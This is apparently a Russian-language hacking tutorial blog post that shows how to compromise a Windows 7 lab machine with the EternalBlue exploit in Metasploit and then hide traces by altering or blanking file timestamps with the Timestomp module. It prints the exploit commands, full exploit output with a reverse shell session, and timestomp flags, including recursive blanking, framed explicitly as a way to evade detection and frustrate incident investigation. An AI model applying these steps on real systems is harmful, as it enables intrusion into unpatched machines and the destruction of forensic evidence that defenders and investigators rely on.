18.01.2020 | Сокрытие следов через модификацию файловых атрибутов при помощи модуля Timestomp в Metasploit |
Автор: drd_ Утверждается, что лучший способ избежать детектирования – не оставлять следов и вообще не прикасаться к файлам. Однако на практике в большинстве случаев, невозможно не взаимодействовать с файловой системой тем или иным образом. Соответственно, для запутывания следов и сокрытие активности вполне разумный шаг – изменение файловых атрибутов, чего можно добиться при помощи модуля Timestomp из Metasploit. Что такое значения MACE? Атрибуты файлов представляют собой значения Modified-Accessed-Created-Entry (MACE) в формате дата/время, обновляемых во время определенных операций с файлом. Modified – дата последней модификации файла, Accessed – дата последнего доступа к файлу, Created – дата создания файла, Entry – дата изменения заголовка MTF. Эти атрибуты используются администраторами в том числе при расследовании инцидентов и отслеживании вредоносной активности. В идеале во время хакинга лучше вообще не оставлять следов. Изменение атрибутов файлов стоит на втором месте по эффективности. Этот метод не является панацеей, но может помочь в сокрытии операций с файловой системой. С другой стороны, следует помнить и про здравый смысл, поскольку если даты будут сильно в прошлом или будущем, сразу возникнут подозрения. Как и в случае, если во всех четырех атрибутах стоит одна и та же дата и время. Шаг 1: Настройка рабочей среды Мы будем использовать копию Windows 7 в качестве целевой системы и Kali Linux в качестве рабочей машины. Вначале нужно создать несколько тестовых файлов в целевой системе. Я также создал новую папку MyFiles, где будут храниться все созданные файлов. Сами файлы могут быть любыми (текстовых более, чем достаточно).
Рисунок 1: Тестовые файлы в целевой системе Шаг 2: Получение meterpreter-сессии После всех настроек на рабочей машине в терминале вводим команду msfconsole и запускаем Metasploit. ~# msfconsole
msf5 >
Целевая система уязвима к эксплоиту EternalBlue, который будет использоваться для получения шелла. На самом деле, особого значение не имеет, чем вы будете пользоваться, поскольку все заканчивается получением meterpreter-сессии на целевой машине. msf5 > use exploit/windows/smb/ms17_010_eternalblue msf5 exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 10.10.0.1:1234 [*] 10.10.0.104:445 - Connecting to target for exploitation. [+] 10.10.0.104:445 - Connection established for exploitation. [+] 10.10.0.104:445 - Target OS selected valid for OS indicated by SMB reply [*] 10.10.0.104:445 - CORE raw buffer dump (42 bytes) [*] 10.10.0.104:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes [*] 10.10.0.104:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv [*] 10.10.0.104:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1 [+] 10.10.0.104:445 - Target arch selected valid for arch indicated by DCE/RPC reply [*] 10.10.0.104:445 - Trying exploit with 12 Groom Allocations. [*] 10.10.0.104:445 - Sending all but last fragment of exploit packet [*] 10.10.0.104:445 - Starting non-paged pool grooming [+] 10.10.0.104:445 - Sending SMBv2 buffers [+] 10.10.0.104:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer. [*] 10.10.0.104:445 - Sending final SMBv2 buffers. [*] 10.10.0.104:445 - Sending last fragment of exploit packet! [*] 10.10.0.104:445 - Receiving response from exploit packet [+] 10.10.0.104:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)! [*] 10.10.0.104:445 - Sending egg to corrupted connection. [*] 10.10.0.104:445 - Triggering free of corrupted buffer. [*] Sending stage (206403 bytes) to 10.10.0.104 [*] Meterpreter session 1 opened (10.10.0.1:1234 -> 10.10.0.104:49233) at 2019-04-08 10:41:26 -0500 [+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter >
Шаг 3: Проверка файлов в целевой системе После того как целевая система скомпрометирована, вводим команду pwd для просмотра текущей рабочей директории. meterpreter > pwd
C:Windowssystem32
Поскольку мы создали новую папку на диске C, заходим туда и проверяем наличие созданных ранее файлов. meterpreter > cd C:/Myfiles meterpreter > ls
Listing: C:Myfiles ===================
Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 100666/rw-rw-rw- 12 fil 2019-04-08 12:43:24 -0500 example.txt 100666/rw-rw-rw- 7 fil 2019-04-08 12:43:55 -0500 test1.txt 100666/rw-rw-rw- 13 fil 2019-04-08 12:43:55 -0500 test2.txt 100666/rw-rw-rw- 127 fil 2019-04-08 12:43:55 -0500 test3.txt
Шаг 4: Изменение атрибутов файлов при помощи Timestomp Timestomp представляет собой пост эксплуатационный модуль, доступный в Meterpreter, который можно использовать для модификаций файловых атрибутов (значений MACE). Очень удобно, поскольку мы можем изменить время и дату любого файла, с которым работали, с минимальным риском оказаться обнаруженным. В meterpreter-сессии для просмотра справочной информации для модуля используем команду timestomp help: meterpreter > timestomp help
Usage: timestomp <file(s)> OPTIONS
OPTIONS:
-a <opt> Set the "last accessed" time of the file -b Set the MACE timestamps so that EnCase shows blanks -c <opt> Set the "creation" time of the file -e <opt> Set the "mft entry modified" time of the file -f <opt> Set the MACE of attributes equal to the supplied file -h Help banner -m <opt> Set the "last written" time of the file -r Set the MACE timestamps recursively on a directory -v Display the UTC MACE values of the file -z <opt> Set all four attributes (MACE) of the file
1. Просмотр файловых атрибутов Необходимо указать нужную опцию и имя файла. Например, для просмотра атрибутов MACE используем флаг –v.
2. Изменение значений Modified, Accessed, Created и Entry Modified Мы можем изменить любой из этих атрибутов, указав нужную опцию и корректную дату в формате DateTime. Например, для изменения значения «modified» используем флаг –m.
Теперь при повторном просмотре атрибутов видны изменения. meterpreter > timestomp example.txt -v
[*] Showing MACE attributes for example.txt Modified : 2012-02-14 08:10:03 -0600 Accessed : 2019-04-08 13:43:24 -0500 Created : 2019-04-08 13:43:24 -0500 Entry Modified: 2019-04-08 13:44:25 -0500
Схожим образом изменяется атрибут «accessed» при помощи флага –a.
И атрибут «created» при помощи флага –c.
В завершении меняем атрибут «entry modified», используя флаг –e.
Теперь при просмотре файла видим, что появились изменения.
3. Установка во все атрибуты одного значения Мы также можем изменить все атрибуты сразу, если хотим, чтобы все значения были одинаковы, при помощи флага –z.
Изменения появились.
4. Перенос значений из другого файла При помощи флага –f можно унаследовать значения атрибутов из файла, уже существующего в системе. Однако у меня не получился этот трюк.
5. Обнуление значений Мы можем полностью обнулить атрибуты, используя флаг -b
Теперь при просмотре атрибутов файла будут показаны бессмысленные даты из будущего.
При помощи флага –r можно рекурсивно обнулить атрибуты всех файлов в текущей директории.
Теперь при просмотре на целевой машине все даты оказываются пустыми.
Рисунок 2: Атрибуты файлов после рекурсивного обнуления Заключение В этой статье мы немного познакомились с атрибутами файлов и научились запутывать следы. После компрометирования целевой машины и получения meterpreter-сессии мы воспользовались модулем Timestomp и изменили значения MACE. Тем не менее, следует отметить, что метод не является волшебной таблеткой, но все же лучше, чем ничего. Передаю большой привет белым шляпам J.
|
Проверить безопасность сайта